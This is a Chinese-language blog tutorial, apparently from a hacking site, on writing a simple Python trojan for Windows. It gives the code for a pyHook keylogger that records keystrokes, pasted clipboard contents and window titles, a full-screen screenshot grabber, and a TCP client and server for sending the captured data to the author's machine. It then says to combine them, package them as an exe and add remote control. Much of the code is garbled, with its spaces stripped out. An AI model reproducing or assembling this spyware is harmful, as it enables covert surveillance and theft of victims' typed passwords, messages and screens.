python编写简易木马程序_中国骇客云教你使用Python编写木马程序

这次我们运用Python编写一个具有键盘记载、截屏以及通讯功用的简易木马,仍然选用Sublimetext2+JEDI(python自动补全插件)来写代码。首先准备好我们需求的依赖库,pythonhook和pythoncom。

假如觉得费事,你能够直接运用集成了一切我们所需求的python库的商业版Activepython。记载你所敲打的一切:编写一个keylogger说起Keylogger,大家的思想可能早已飞向带有wifi功用的mini小硬件去了。抛开高科技,我们暂且回归实质,探探简易键盘记载器的原理与完成。Pythonkeylogger键盘记载的功用的完成主要应用了pythoncom及pythonhook,然后就是对windowsAPI的各种调用。Python之所以用起来便当快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。关键代码如下所示:

#-*-coding:utf-8-*-

fromctypesimport*

importpythoncom

importpyHook

importwin32clipboard

user32=windll.user32

kernel32=windll.kernel32

psapi=windll.psapi

current_window=None

#

defget_current_process():

#获取最上层的窗口句柄

hwnd=user32.GetForegroundWindow()

#获取进程ID

pid=c_ulong(0)

user32.GetWindowThreadProcessId(hwnd,byref(pid))

#将进程ID存入变量中

process_id="%d"%pid.value

#申请内存

executable=create_string_buffer("\x00"*512)h_process=kernel32.OpenProcess(0x400|0x10,False,pid)

psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

#读取窗口标题

windows_title=create_string_buffer("\x00"*512)

length=user32.GetWindowTextA(hwnd,byref(windows_title),512)

#打印

print

print"[PID:%s-%s-%s]"%(process_id,executable.value,windows_title.value)

print

#关闭handles

kernel32.CloseHandle(hwnd)

kernel32.CloseHandle(h_process)

#定义击键监听事情函数

defKeyStroke(event):

globalcurrent_window

#检测目的窗口能否转移(换了其他窗口就监听新的窗口)

ifevent.WindowName!=current_window:

current_window=event.WindowName

#函数调用

get_current_process()

#检测击键能否常规按键(非组合键等)

ifevent.Ascii>32andevent.Ascii<127:

printchr(event.Ascii),

else:

#假如发现Ctrl+v(粘贴)事情,就把粘贴板内容记载下来

ifevent.Key=="V":

win32clipboard.OpenClipboard()

pasted_value=win32clipboard.GetClipboardData()

win32clipboard.CloseClipboard()

print"[PASTE]-%s"%(pasted_value),

else:

print"[%s]"%event.Key,

#循环监听下一个击键事情

returnTrue

#创立并注册hook管理器

kl=pyHook.HookManager()

kl.KeyDown=KeyStroke

#注册hook并执行

kl.HookKeyboard()

pythoncom.PumpMessages()

【学问点】钩子(Hook):Windows音讯处置机制的一个平台,应用程序能够在上面设置子程以监视指定窗口的某种音讯,而且所监视的窗口能够是其他进程所创立的。编写代码时一定要留意严厉辨别大小写,检查无误后启动keylogger,然后能够尝试翻开记事本写点东西,过程中能够看到我们的keylogger窗口正在对我们的输入实时记载,如图1所示。

图1

切换窗口时会自动跟踪到新窗口,light教授趁机骚扰一下疯狗,能够看到我们的keylogger曾经跟踪到QQ聊天窗口,并忠实的记载下输入的一切,如图2所示。

图2

看看你在干什么:编写一个screenshotter截屏完成起来更简单,直接调用几个GUI相关的API即可,我们直接看代码。

#-*-coding:utf-8-*-

importwin32gui

importwin32ui

importwin32con

importwin32api

#获取桌面

hdesktop=win32gui.GetDesktopWindow()

#分辨率顺应

width=win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)

height=win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)

left=win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)

top=win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

#创立设备描绘表

desktop_dc=win32gui.GetWindowDC(hdesktop)

img_dc=win32ui.CreateDCFromHandle(desktop_dc)

#创立一个内存设备描绘表

mem_dc=img_dc.CreateCompatibleDC()

#创立位图对象

screenshot=win32ui.CreateBitmap()

screenshot.CreateCompatibleBitmap(img_dc,width,height)

mem_dc.SelectObject(screenshot)

#截图至内存设备描绘表

mem_dc.BitBlt((0,0),(width,height),img_dc,(left,top),win32con.SRCCOPY)

#将截图保管到文件中

screenshot.SaveBitmapFile(mem_dc,'c:\\WINDOWS\\Temp\\screenshot.bmp')

#内存释放

mem_dc.DeleteDC()

win32gui.DeleteObject(screenshot.GetHandle())

运转之后看看效果如何,如图3所示。

图3

综合运用:完成一个简易木马

无论是keylogger记载下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需求构建一个简单server和client端来停止通讯,传输记载下的内容到我们的效劳器上。

1)编写一个简单的TCPclient

#-*-coding:utf-8-*-

importsocket

#目的地址IP/URL及端口

target_host="127.0.0.1"

target_port=9999

#创立一个socket对象

client=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

#衔接主机

client.connect((target_host,target_port))

#发送数据

client.send("GET/HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")

#接纳响应

response=client.recv(4096)

printresponse

2)编写一个简单的TCPserver

#-*-coding:utf-8-*-

importsocket

importthreading

#监听的IP及端口

bind_ip="127.0.0.1"

bind_port=9999

server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

server.bind((bind_ip,bind_port))

server.listen(5)

print"[*]Listeningon%s:%d"%(bind_ip,bind_port)

defhandle_client(client_socket):

request=client_socket.recv(1024)

print"[*]Received:%s"%request

client_socket.send("ok!")

client_socket.close()

whileTrue:

client,addr=server.accept()

print"[*]Acceptconnectionfrom:%s:%d"%(addr[0],addr[1])

client_handler=threading.Thread(target=handle_client,args=(client,))

client_handler.start()

开启效劳端监听,如图4所示。

执行客户端,如图5所示。

效劳端接纳到客户端的恳求并做出了响应,如图6所示。

图6更多关注www.hackerschina.org

最后需求做的就是把上面三个模块分离起来,一个简易的具有键盘记载、屏幕截图并能够发送内容到我们效劳端的木马就完成了。能够运用py2exe把脚本生成exe可执行文件。当然,你还能够继续发挥,加上远程控制功用。

打赏

微信扫一扫,打赏作者吧~

相关

你可能感兴趣的:(python编写简易木马程序)